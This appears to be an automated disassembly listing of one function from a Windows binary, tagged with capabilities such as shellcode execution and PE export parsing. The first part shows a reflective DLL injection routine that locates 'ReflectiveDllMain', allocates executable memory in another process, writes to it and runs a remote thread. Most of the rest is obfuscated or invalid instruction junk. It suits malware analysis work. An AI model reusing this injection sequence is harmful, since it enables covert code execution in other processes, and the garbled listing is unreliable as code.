Function at 0x1400a102d
Capabilities:
Connect pipe
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [r14]
mov rcx, rdi
call fcn.140002010
mov ecx, eax
lea rdx, str.ReflectiveDllMain
add rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrStrA]
test rax, rax
jne 0x1400013d3
add r14, 4
add r15, 2
inc r12d
cmp r12d, dword [r13 + 0x18]
jb 0x14000139b
jmp 0x1400014bc
mov edx, dword [r13 + 0x1c]
mov rcx, rdi
call fcn.140002010
movzx ecx, word [r15]
mov eax, eax
add rax, rdi
mov edx, dword [rax + rcx*4]
mov rcx, rdi
call fcn.140002010
mov r12d, eax
test eax, eax
je 0x1400014bc
mov r15d, dword [rsp + 0x60]
mov r9d, 0x3000
mov r8d, r15d
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x1400014bc
mov r9d, r15d
mov qword [rsp + 0x20], rbx
mov r8, rdi
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400014bc
lea rax, [r14 + r12]
mov qword [rsp + 0x28], r14
mov r9, rsi
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], rbx
call fcn.1400018f8
test eax, eax
js 0x1400014bc
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400014bc
cmp dword [rbp + 0x408], ebx
je 0x140001483
mov ebx, 1
jmp 0x1400014b6
mov edx, 0x64
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1400014b1
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp + 0x400]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x1400014b1
cmp dword [rbp + 0x400], ebx
setne bl
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x4f0]
add rsp, 0x4b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
not rdi
add r15b, r14b
neg r15b
lea rax, [rax - 0x79eff8c8]
lea rdi, [r14 + r14 - 0x4fd8e769]
mov di, 0xcd85
mov qword [rsp + r14 - 0x635ab8d0], r9
push r10
push 0x349cd60b
shr qword [rsp + r14 - 0x635ab900], 0xf0
xor r9d, edi
jne 0x140098947
mov qword [rsp + 0x20], 0xffffffff8a2c98bd
push qword [rsp + 0x18]
popfq
lea rsp, [rsp + 0x20]
call fcn.1400eb236
neg qword [rsp + r11*2 - 0x40048d0]
add word [rsp], r11w
jns 0x1400bec0f
lea rax, [rax - 0x706eae78]
jne 0x1400bd18b
mov bl, 0x14
insb byte [rdi], dx
push rcx
xchg byte [rcx + 0x34c951c5], bl
movabs dword [0xc0e757868676e635], eax
jge 0x14005d71f
invalid
lea rdx, [rdx + 0x40bf56b9]
push rcx
or rbx, rsi
movabs r11, 0xc42e92beab9bb4b1
push rbx
add r11, qword [rsp + 0x30]
movabs rbp, 0x88adc716f604c213
je 0x14008f07e
mov rcx, rsi
shr byte [rsp], 0xee
xchg qword [rsp + 0x58], rdx
mov rcx, qword [rsp + 8]
mov r13, qword [rsp + 0x30]
and r11d, 0x66122682
jg 0x14005d754
xchg qword [rsp + r11*2 + 0x30], rbp
mov r11, qword [rsp + r11 + 0x20]
and word [rsp + 0x10], 0xaab
jge 0x1400e59de
ja fcn.1400dc2b8
lea rcx, [rcx - 0x7e65a0df]
call fcn.140064d2d
sub r11d, 0xbc0ec784
sub r11d, 0xfb566a4
shr r11d, 0x99
mov r11, qword [rsp + r11 + 0x22]
jne 0x140079d80
lea rax, [rax + 1]
push rcx
sub word [rsp + 0x10], 0x331
mov rcx, qword [rsp + 0x10]
push r13
call fcn.140064ab8
jno 0x140068575
sub eax, 0xa2764636
scasd eax, dword [rdi]
push 0xffffffffac495f6e
invalid
add dword [rsp + 8], 0x48821d3c
jae 0x1400a2516
add qword [rsp + 8], 0xffffffffbff28653
call fcn.1400d603e
xor bx, 0xca0f
and bl, bh
mov rbx, qword [rsp + rbx*8 - 0x65048]
mov rbx, qword [rbx]
mov qword [rsp + 8], 0xffffffff86978d8f
sub word [rsp + 8], 0x36af
setge byte [rsp + 8]
setae byte [rsp + 8]
mov dword [rsp + 8], 0x1f08168c
neg byte [rsp + 8]
jo 0x1400ad362
sub word [rsp + 8], 0x3587
lea rbx, [rbx - 0x3850e051]
jbe 0x140074f80
mov r13, qword [rsp + 8]
bswap rsi
mov rsi, qword [rsp + 0x18]
mov qword [rsp + 0x18], rbx
call fcn.1400a26cf
sub r14, qword [rsp + r14 - 0x635ab8c0]
xchg qword [rsp + 0x58], rax
mov r15, qword [rsp + 0x18]
movabs r10, 0x6a1dba299b02dc18
add dword [rsp + rdi - 0x76dccd85], 0xf9a4900f
call fcn.1400070e4
sar byte [rdi - 0x17], 1
invalid
add qword [rsp + 0x18], 0x38f09
shr sil, 0xea
lea rbx, [rsi + rsi - 0x5ac5f560]
jne fcn.1400e5486
jne 0x1400684b2
push r11
mov rdx, qword [rsp + 0x20]
mov rdx, qword [rdx]
shl si, 0xea
mov qword [rsp + 0x20], rsi
shl bx, 0xe9
movzx bx, bl
jne 0x14006343b
mov qword [rsp + 8], 0x19a57e35
call fcn.1400d2946
fcmovne st(0), st(2)
adc byte [rdi], bh
ja 0x1400a107e
retf 0x3f10
fiadd word [rcx]
add bl, byte [rdx + 0x3a]
fidivr word [rdi]
lodsb al, byte [rsi]
cmp dl, byte [rdx]
or esi, dword [rdi + 7]
mov edi, 0x1ec10213
add al, byte [rsi - 0x7c1bdcd2]
imul edi
and edx, dword [rdx - 0x4f]
cmp byte [rdi + 0x756d752c], al
invalid
call fcn.1400620e7
xor dl, byte [rsp + 0x60]
mov rdx, qword [rsp + 0x48]
call fcn.140086a73
and r14, 0x31816c00
shr r14, 0xf2
test r14w, 0x4884
push r12
mov r12, r14
mov qword [rsp + r12*8 + 0x28], rax
call fcn.1400528e0
mov r15, qword [rsp + r9 - 0x660d6806]
setae byte [rsp + r9 - 0x660d6806]
not word [rsp + r9 - 0x660d6806]
jl 0x1400adf02
lea rbx, [rbx + r9*2 - 0x5d69c3cf]
xor r15w, word [rsp + r15 - 0x660d6804]
test word [rsp + r15 - 0x660d0dfb], 0xe628
setl r9b
jns 0x1400d9bda
xchg qword [rsp + r15 - 0x660d0df3], rbx
mov r15, qword [rsp + r15 - 0x660d0e23]
mov r9b, 0xc
je 0x14000745e
add qword [rsp + r9 - 0x660d67ec], 0xffffffffbff537b5
cmp qword [rsp + r9 - 0x660d67e4], 0xffffffffd513be3d
call fcn.14002f2ae
seto r9b
mov rcx, r9
mov rsi, rcx
mov byte [rsp + 0x48], sil
xor ecx, 0x2fbcdaac
call fcn.1400dd2a5
push rax
push r13
pushfq
movabs r13, 0xa2807e89673ab291
neg r13d
js 0x1400cbd1a
jle 0x140068537
jne 0x14009456b
call fcn.140067a38
mov r13, qword [rsp + 0x20]
movabs rsi, 0x8214bab41993b83
add rbp, rbx
mov bx, 0x1db1
call fcn.1400901ef
and r13b, 0xbc
call fcn.1400da2e1
sete r13b
and r13, 0x2b3e362f
neg r13w
shl r13d, 0x7d
mov r13, qword [rsp + r13*4 + 0x20]
jb 0x140099781
js 0x1400932a9
mov rbp, qword [rsp + rbx - 0x2057ffd7]
mov rbp, qword [rbp + rbx - 0x2057ffff]
test bx, 0x309f
call fcn.140079d8e
neg byte [rsp + 0x10]
test dword [rsp + 0x10], 0xd417cf83
mov dword [rsp + 0x10], 0xed038888
jge 0x1400013b2
push qword [rsp + 0x18]
popfq
lea rsp, [rsp + 0x30]
ret